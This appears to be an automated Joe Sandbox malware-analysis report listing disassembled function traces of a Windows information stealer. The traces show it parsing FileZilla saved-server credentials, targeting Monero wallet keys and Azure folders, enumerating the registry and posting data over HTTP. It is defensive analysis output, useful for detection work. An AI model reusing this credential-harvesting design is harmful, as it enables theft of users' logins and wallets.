Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb3b31f5cb300bd4bd508664562b4c4093d3d88ab852762a90d36e3464151d16
Instruction ID: edcdd5f0c2774d29205268671ee526563f47d77eb403d2db77c9b1ee488923ba
Opcode Fuzzy Hash: fb3b31f5cb300bd4bd508664562b4c4093d3d88ab852762a90d36e3464151d16
Instruction Fuzzy Hash: EE4136F7608200AFD3006E2DDCC566EFBE9EBA8264F1A053DE2C1C7750F63094118647

Function 009726B9 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d49764a7ee59b944b660f9501deb153fd4baf4ba9c56b330426f0ef6e8443292
Instruction ID: 204b7c70f294e4cbd4548ae96e0e87d75a7ae39cdb264a47c7e54a852ae9f300
Opcode Fuzzy Hash: d49764a7ee59b944b660f9501deb153fd4baf4ba9c56b330426f0ef6e8443292
Instruction Fuzzy Hash: 352106B250C308AFE301BE6ADC4566EFBE5FFA8310F06492CD6D483310E731A5249A97

Function 00509750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 00500250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0050A740: lstrcpy.KERNEL32(00510E17,00000000), ref: 0050A788

Part of subcall function 00508DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00508E0B

Part of subcall function 0050A920: lstrcpy.KERNEL32(00000000,?), ref: 0050A972
Part of subcall function 0050A920: lstrcat.KERNEL32(00000000), ref: 0050A982

Part of subcall function 0050A8A0: lstrcpy.KERNEL32(?,00510E17), ref: 0050A905

Part of subcall function 0050A9B0: lstrlen.KERNEL32(?,012D8AC0,?,\Monero\wallet.keys,00510E17), ref: 0050A9C5
Part of subcall function 0050A9B0: lstrcpy.KERNEL32(00000000), ref: 0050AA04
Part of subcall function 0050A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0050AA12

Part of subcall function 0050A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0050A7E6

Part of subcall function 004F99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004F99EC
Part of subcall function 004F99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 004F9A11
Part of subcall function 004F99C0: LocalAlloc.KERNEL32(00000040,?), ref: 004F9A31
Part of subcall function 004F99C0: ReadFile.KERNEL32(000000FF,?,00000000,004F148F,00000000), ref: 004F9A5A
Part of subcall function 004F99C0: LocalFree.KERNEL32(004F148F), ref: 004F9A90
Part of subcall function 004F99C0: CloseHandle.KERNEL32(000000FF), ref: 004F9A9A

Part of subcall function 00508E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00508E52

GetProcessHeap.KERNEL32(00000000,000F423F,00510DBA,00510DB7,00510DB6,00510DB3), ref: 00500362
RtlAllocateHeap.NTDLL(00000000), ref: 00500369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00500385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00510DB2), ref: 00500393
StrStrA.SHLWAPI(00000000,<Port>), ref: 005003CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00510DB2), ref: 005003DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00500419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00510DB2), ref: 00500427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00500463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00510DB2), ref: 00500475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00510DB2), ref: 00500502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00510DB2), ref: 0050051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00510DB2), ref: 00500532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00510DB2), ref: 0050054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00500562
lstrcat.KERNEL32(?,profile: null), ref: 00500571
lstrcat.KERNEL32(?,url: ), ref: 00500580
lstrcat.KERNEL32(?,00000000), ref: 00500593
lstrcat.KERNEL32(?,00511678), ref: 005005A2
lstrcat.KERNEL32(?,00000000), ref: 005005B5
lstrcat.KERNEL32(?,0051167C), ref: 005005C4
lstrcat.KERNEL32(?,login: ), ref: 005005D3
lstrcat.KERNEL32(?,00000000), ref: 005005E6
lstrcat.KERNEL32(?,00511688), ref: 005005F5
lstrcat.KERNEL32(?,password: ), ref: 00500604
lstrcat.KERNEL32(?,00000000), ref: 00500617
lstrcat.KERNEL32(?,00511698), ref: 00500626
lstrcat.KERNEL32(?,0051169C), ref: 00500635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00510DB2), ref: 0050068E

Strings

url: , xrefs: 00500577
password: , xrefs: 005005FB
login: , xrefs: 005005CA
<Pass encoding="base64">, xrefs: 0050045A
browser: FileZilla, xrefs: 00500559
<Port>, xrefs: 005003C6
<User>, xrefs: 00500410
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 005002A4
<Host>, xrefs: 0050037C
profile: null, xrefs: 00500568

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: acb848afd3ddbf111d29fe8b0d70f272c7a18a3bd5cf2288ca3c021948431487
Instruction ID: 10f6afd0eb6d3d78b70e3a1d882494ea5016bbdc93ab2a8cceac3ce656d38ed5
Opcode Fuzzy Hash: acb848afd3ddbf111d29fe8b0d70f272c7a18a3bd5cf2288ca3c021948431487
Instruction Fuzzy Hash: FFD12F71900209ABDB04EBF4DD9AEEE7B78FF94301F408518F102A60D5EF75AA46CB65

Function 004F5960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495networkstringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0050A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0050A7E6

Part of subcall function 004F47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 004F4839
Part of subcall function 004F47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 004F4849

Part of subcall function 0050A740: lstrcpy.KERNEL32(00510E17,00000000), ref: 0050A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 004F59F8
StrCmpCA.SHLWAPI(?,012DE250), ref: 004F5A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 004F5B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,012DE360,00000000,?,012D9BE8,00000000,?,00511A1C), ref: 004F5E71
lstrlen.KERNEL32(00000000), ref: 004F5E82
GetProcessHeap.KERNEL32(00000000,?), ref: 004F5E93
RtlAllocateHeap.NTDLL(00000000), ref: 004F5E9A
lstrlen.KERNEL32(00000000), ref: 004F5EAF
lstrlen.KERNEL32(00000000), ref: 004F5ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 004F5EF1
lstrlen.KERNEL32(00000000,?,?), ref: 004F5F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 004F5F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 004F5F4C
InternetCloseHandle.WININET(00000000), ref: 004F5FB0
InternetCloseHandle.WININET(00000000), ref: 004F5FBD
HttpOpenRequestA.WININET(00000000,012DE3F0,?,012DDC38,00000000,00000000,00400100,00000000), ref: 004F5BF8

Part of subcall function 0050A9B0: lstrlen.KERNEL32(?,012D8AC0,?,\Monero\wallet.keys,00510E17), ref: 0050A9C5
Part of subcall function 0050A9B0: lstrcpy.KERNEL32(00000000), ref: 0050AA04
Part of subcall function 0050A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0050AA12

Part of subcall function 0050A8A0: lstrcpy.KERNEL32(?,00510E17), ref: 0050A905

Part of subcall function 0050A920: lstrcpy.KERNEL32(00000000,?), ref: 0050A972
Part of subcall function 0050A920: lstrcat.KERNEL32(00000000), ref: 0050A982

InternetCloseHandle.WININET(00000000), ref: 004F5FC7

Strings

------, xrefs: 004F5D4C
------, xrefs: 004F5C0B
", xrefs: 004F5CD5
------, xrefs: 004F5A96
", xrefs: 004F5E16

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: 5188c31d302a22e8761ae3385a4a00346f86b82cb91f02b3626ffdf9e03f4606
Instruction ID: ff3e8b03979a4e61fb6ca0760a81e67670e9cca27a07ae66d9e0929ec7cc24ef
Opcode Fuzzy Hash: 5188c31d302a22e8761ae3385a4a00346f86b82cb91f02b3626ffdf9e03f4606
Instruction Fuzzy Hash: FE122372920219ABDB15EBA0DC9AFEEB778BF54700F408199F106620D1EF742B49CF65

Function 004FCEF0 Relevance: 30.4, APIs: 20, Instructions: 375stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0050A740: lstrcpy.KERNEL32(00510E17,00000000), ref: 0050A788

Part of subcall function 0050A9B0: lstrlen.KERNEL32(?,012D8AC0,?,\Monero\wallet.keys,00510E17), ref: 0050A9C5
Part of subcall function 0050A9B0: lstrcpy.KERNEL32(00000000), ref: 0050AA04
Part of subcall function 0050A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0050AA12

Part of subcall function 0050A8A0: lstrcpy.KERNEL32(?,00510E17), ref: 0050A905

Part of subcall function 00508B60: GetSystemTime.KERNEL32(00510E1A,012D9AC8,005105AE,?,?,004F13F9,?,0000001A,00510E1A,00000000,?,012D8AC0,?,\Monero\wallet.keys,00510E17), ref: 00508B86

Part of subcall function 0050A920: lstrcpy.KERNEL32(00000000,?), ref: 0050A972
Part of subcall function 0050A920: lstrcat.KERNEL32(00000000), ref: 0050A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 004FCF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 004FD0C7
RtlAllocateHeap.NTDLL(00000000), ref: 004FD0CE
lstrcat.KERNEL32(?,00000000), ref: 004FD208
lstrcat.KERNEL32(?,00511478), ref: 004FD217
lstrcat.KERNEL32(?,00000000), ref: 004FD22A
lstrcat.KERNEL32(?,0051147C), ref: 004FD239
lstrcat.KERNEL32(?,00000000), ref: 004FD24C
lstrcat.KERNEL32(?,00511480), ref: 004FD25B
lstrcat.KERNEL32(?,00000000), ref: 004FD26E
lstrcat.KERNEL32(?,00511484), ref: 004FD27D
lstrcat.KERNEL32(?,00000000), ref: 004FD290
lstrcat.KERNEL32(?,00511488), ref: 004FD29F
lstrcat.KERNEL32(?,00000000), ref: 004FD2B2
lstrcat.KERNEL32(?,0051148C), ref: 004FD2C1
lstrcat.KERNEL32(?,00000000), ref: 004FD2D4
lstrcat.KERNEL32(?,00511490), ref: 004FD2E3

Part of subcall function 0050A820: lstrlen.KERNEL32(004F4F05,?,?,004F4F05,00510DDE), ref: 0050A82B
Part of subcall function 0050A820: lstrcpy.KERNEL32(00510DDE,00000000), ref: 0050A885

lstrlen.KERNEL32(?), ref: 004FD32A
lstrlen.KERNEL32(?), ref: 004FD339

Part of subcall function 0050AA70: StrCmpCA.SHLWAPI(012D8940,004FA7A7,?,004FA7A7,012D8940), ref: 0050AA8F

DeleteFileA.KERNEL32(00000000), ref: 004FD3B4

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 969a3f498261903dff3185bc10cd7cee1179e62670dc4bae683407b0a9da10d7
Instruction ID: 175017923d9de0cee01c440759243b4d5950fd330d2f0e56a930d5c651f5a3cd
Opcode Fuzzy Hash: 969a3f498261903dff3185bc10cd7cee1179e62670dc4bae683407b0a9da10d7
Instruction Fuzzy Hash: 88E15F71910209ABDB04EBA0DD9AEEE7B78BF94301F108158F507A70D1DF39AE45CB66

Function 004FC990 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0050A740: lstrcpy.KERNEL32(00510E17,00000000), ref: 0050A788

Part of subcall function 0050A920: lstrcpy.KERNEL32(00000000,?), ref: 0050A972
Part of subcall function 0050A920: lstrcat.KERNEL32(00000000), ref: 0050A982

Part of subcall function 0050A8A0: lstrcpy.KERNEL32(?,00510E17), ref: 0050A905

Part of subcall function 0050A9B0: lstrlen.KERNEL32(?,012D8AC0,?,\Monero\wallet.keys,00510E17), ref: 0050A9C5
Part of subcall function 0050A9B0: lstrcpy.KERNEL32(00000000), ref: 0050AA04
Part of subcall function 0050A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0050AA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,012DC940,00000000,?,0051144C,00000000,?,?), ref: 004FCA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 004FCA89
GetFileSize.KERNEL32(00000000,00000000), ref: 004FCA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 004FCAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 004FCAD9
StrStrA.SHLWAPI(?,012DC958,00510B52), ref: 004FCAF7
StrStrA.SHLWAPI(00000000,012DCA90), ref: 004FCB1E
StrStrA.SHLWAPI(?,012DD6B8,00000000,?,00511458,00000000,?,00000000,00000000,?,012D8830,00000000,?,00511454,00000000,?), ref: 004FCCA2
StrStrA.SHLWAPI(00000000,012DD798), ref: 004FCCB9

Part of subcall function 004FC820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 004FC871
Part of subcall function 004FC820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 004FC87C

StrStrA.SHLWAPI(?,012DD798,00000000,?,0051145C,00000000,?,00000000,012D8860), ref: 004FCD5A
StrStrA.SHLWAPI(00000000,012D8AB0), ref: 004FCD71

Part of subcall function 004FC820: lstrcat.KERNEL32(?,00510B46), ref: 004FC943
Part of subcall function 004FC820: lstrcat.KERNEL32(?,00510B47), ref: 004FC957
Part of subcall function 004FC820: lstrcat.KERNEL32(?,00510B4E), ref: 004FC978

lstrlen.KERNEL32(00000000), ref: 004FCE44
CloseHandle.KERNEL32(00000000), ref: 004FCE9C

Strings

, xrefs: 004FC9C6

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeString
String ID:
API String ID: 3744635739-3916222277
Opcode ID: 831781cee902fe5c6ecec537470446fb47bc87edf8aebcad5270110a2a2d519d
Instruction ID: c3387fb3dc4ac5669d24c21cd669807623502d5ec88870027257425c390e4962
Opcode Fuzzy Hash: 831781cee902fe5c6ecec537470446fb47bc87edf8aebcad5270110a2a2d519d
Instruction Fuzzy Hash: A5E10172D10209ABDB14EBA4DC9AFEEBB78BF54300F408159F106671D1EF346A4ACB65

Function 00508320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0050A740: lstrcpy.KERNEL32(00510E17,00000000), ref: 0050A788

RegOpenKeyExA.ADVAPI32(00000000,012DAC00,00000000,00020019,00000000,005105B6), ref: 005083A4
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00508426
wsprintfA.USER32 ref: 00508459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 0050847B
RegCloseKey.ADVAPI32(00000000), ref: 0050848C
RegCloseKey.ADVAPI32(00000000), ref: 00508499

Part of subcall function 0050A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0050A7E6

Strings

- , xrefs: 005085A3
%s\%s, xrefs: 0050844D
?, xrefs: 0050837A

Memory Dump Source

Source File: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true

Associated: 00000000.00000002.2143446926.00000000004F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.00000000005D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143466660.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143625399.00000000009EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143873017.00000000009F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143979579.0000000000B8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2143995377.0000000000B8E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f0000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 2082caef292d38d025dc05539fd168fffc5bbcd430b95b228c0108477c8fcaca
Instruction ID: e6a4f51aaac03836bd41b5f4198a041a43499567fe05e6b5721593354dedea92
Opcode Fuzzy Hash: 2082caef292d38d025dc05539fd168fffc5bbcd430b95b228c0108477c8fcaca
Instruction Fuzzy Hash: 5C810B71910218ABEB24DB50CD95FEEBBB8FF58700F00C698E149A6180DF756B85CFA5

Function 00504D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00508DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00508E0B

lstrcat.KERNEL32(?,00000000), ref: 00504DB0
lstrcat.KERNEL32(?,\.azure\), ref: 00504DCD

Part of subcall function 00504910: wsprintfA.USER32 ref: 0050492C
Part of subcall function 00504910: FindFirstFileA.KERNEL32(?,?), ref: 00504943

